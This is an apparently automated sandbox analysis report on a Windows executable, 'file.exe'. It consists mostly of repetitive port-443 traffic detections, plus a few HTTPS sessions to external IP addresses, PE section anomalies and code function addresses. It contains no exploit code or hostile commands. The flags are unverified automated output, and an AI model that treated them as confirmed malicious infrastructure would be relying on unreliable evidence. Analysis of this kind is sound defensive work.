Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49913 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0E95	0_3_05DA0E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0E95	0_3_05DA0E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9F970	0_3_05D9F970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9F970	0_3_05D9F970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0E95	0_3_05DA0E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0E95	0_3_05DA0E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9F970	0_3_05D9F970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9F970	0_3_05D9F970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06386E3F	0_2_06386E3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06388632	0_2_06388632
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636E617	0_2_0636E617
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636A610	0_2_0636A610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638AE72	0_2_0638AE72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A	0_2_0636EE7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635D66C	0_2_0635D66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06385E67	0_2_06385E67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635EE57	0_2_0635EE57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636BE58	0_2_0636BE58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06377647	0_2_06377647
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063676B4	0_2_063676B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637CEA6	0_2_0637CEA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635969E	0_2_0635969E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06382E81	0_2_06382E81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638A685	0_2_0638A685
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06361EF1	0_2_06361EF1
